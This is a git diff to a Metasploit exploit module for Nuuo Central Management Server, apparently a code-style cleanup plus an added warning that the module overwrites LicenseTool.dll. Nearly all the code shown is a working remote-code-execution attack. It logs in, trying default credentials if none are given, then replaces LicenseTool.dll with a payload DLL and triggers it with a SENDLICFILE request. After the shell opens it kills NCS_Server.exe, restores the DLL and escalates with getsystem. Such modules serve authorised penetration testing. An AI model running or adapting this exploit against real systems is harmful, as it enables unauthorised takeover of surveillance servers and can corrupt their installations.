diff --git a/modules/exploits/windows/nuuo/nuuo_cms_fu.rb b/modules/exploits/windows/nuuo/nuuo_cms_fu.rb
index c9b992198f..cc41127759 100644
--- a/modules/exploits/windows/nuuo/nuuo_cms_fu.rb
+++ b/modules/exploits/windows/nuuo/nuuo_cms_fu.rb
@@ -24,6 +24,10 @@ class MetasploitModule < Msf::Exploit::Remote
       This module will either use a provided session number (which can be guessed with an auxiliary
       module) or attempt to login using a provided username and password - it will also try the
       default credentials if nothing is provided.
+
+      This module will overwrite the LicenseTool.dll file in the CMS Server installation. If the module
+      fails to restore LicenseTool.dll then the installation will be corrupted and NCS Server will
+      not execute successfully.
       },
       'License'        => MSF_LICENSE,
       'Author'         =>
@@ -44,57 +48,57 @@ class MetasploitModule < Msf::Exploit::Remote
           [ 'Nuuo Central Management Server <= v2.4.0', {} ],
         ],
       'Privileged'     => true,
-      'DisclosureDate' => "Oct 11 2018",
+      'DisclosureDate' => 'Oct 11 2018',
       'DefaultTarget'  => 0))
   end
 
   def on_new_session(client)
-    if client.type == "meterpreter"
-      print_warning("Please wait a bit while we clean up")
+    if client.type == 'meterpreter'
+      print_warning('Please wait a bit while we clean up')
       client.sys.process.get_processes().each do |proc|
-        if proc['name'] == "NCS_Server.exe"
+        if proc['name'] == 'NCS_Server.exe'
           client.sys.process.kill(proc['pid'])
-          sleep 5
+          Rex.sleep(5)
           client.shell_command_token("move /y #{@dll} LicenseTool.dll")
-          client.sys.process.execute("NCS_Server.exe")
-          print_good("Successfully restored LicenseTool.dll!")
+          client.sys.process.execute('NCS_Server.exe')
+          print_good('Successfully restored LicenseTool.dll!')
         end
       end
 
       # elevate privs to system (we're already Admin anyway), and we're done!
-      client.run_cmd("getsystem")
-      print_good("We should have SYSTEM now, enjoy your shell!")
+      client.run_cmd('getsystem')
+      print_good('We should have SYSTEM now, enjoy your shell!')
     else
-      print_error("You are not using meterpreter, so we are unable to restore LicenseTool.dll")
+      print_error('You are not using meterpreter, so we are unable to restore LicenseTool.dll')
       print_error("To restore it, kill the NCS_Server.exe process and copy <CMS_FOLDER>\\#{@dll} to <CMS_FOLDER>\\LicenseTool.dll")
-      print_error("... otherwise the Nuuo CMS installation will be nuked!")
-      print_good("Anyway, enjoy your shell!")
+      print_error('... otherwise the Nuuo CMS installation will be nuked!')
+      print_good('Anyway, enjoy your shell!')
     end
   end
 
   def exploit
     nucs_login
 
-    if @nucs_session == nil
-      fail_with(Failure::NoAccess, "Failed to login to Nuuo CMS")
+    unless @nucs_session
+      fail_with(Failure::NoAccess, 'Failed to login to Nuuo CMS')
     end
 
     # Download and upload a backup of LicenseTool.dll, so that we can restore it at post
     # and not nuke the CMS installation.
     @dll = rand_text_alpha(12)
     print_status("Backing up LicenseTool.dll to #{@dll}")
-    dll_data = nucs_download_file("LicenseTool.dll")
+    dll_data = nucs_download_file('LicenseTool.dll')
     nucs_upload_file(@dll, dll_data)
 
-    print_status("Uploading payload...")
-    nucs_upload_file("LicenseTool.dll", generate_payload_dll)
+    print_status('Uploading payload...')
+    nucs_upload_file('LicenseTool.dll', generate_payload_dll)
 
-    print_status("Sleeping 15 seconds...")
-    sleep 15
+    print_status('Sleeping 15 seconds...')
+    Rex.sleep(15)
 
-    print_status("Sending SENDLICFILE request, shell incoming!")
+    print_status('Sending SENDLICFILE request, shell incoming!')
     license_data = rand_text_alpha(50..350)
-    nucs_send_msg(["SENDLICFILE", "FileName: #{rand_text_alpha(3..11)}.lic",
-      "Content-Length: " + license_data.length.to_s], license_data)
+    nucs_send_msg(['SENDLICFILE', "FileName: #{rand_text_alpha(3..11)}.lic",
+      'Content-Length: ' + license_data.length.to_s], license_data)
   end
 end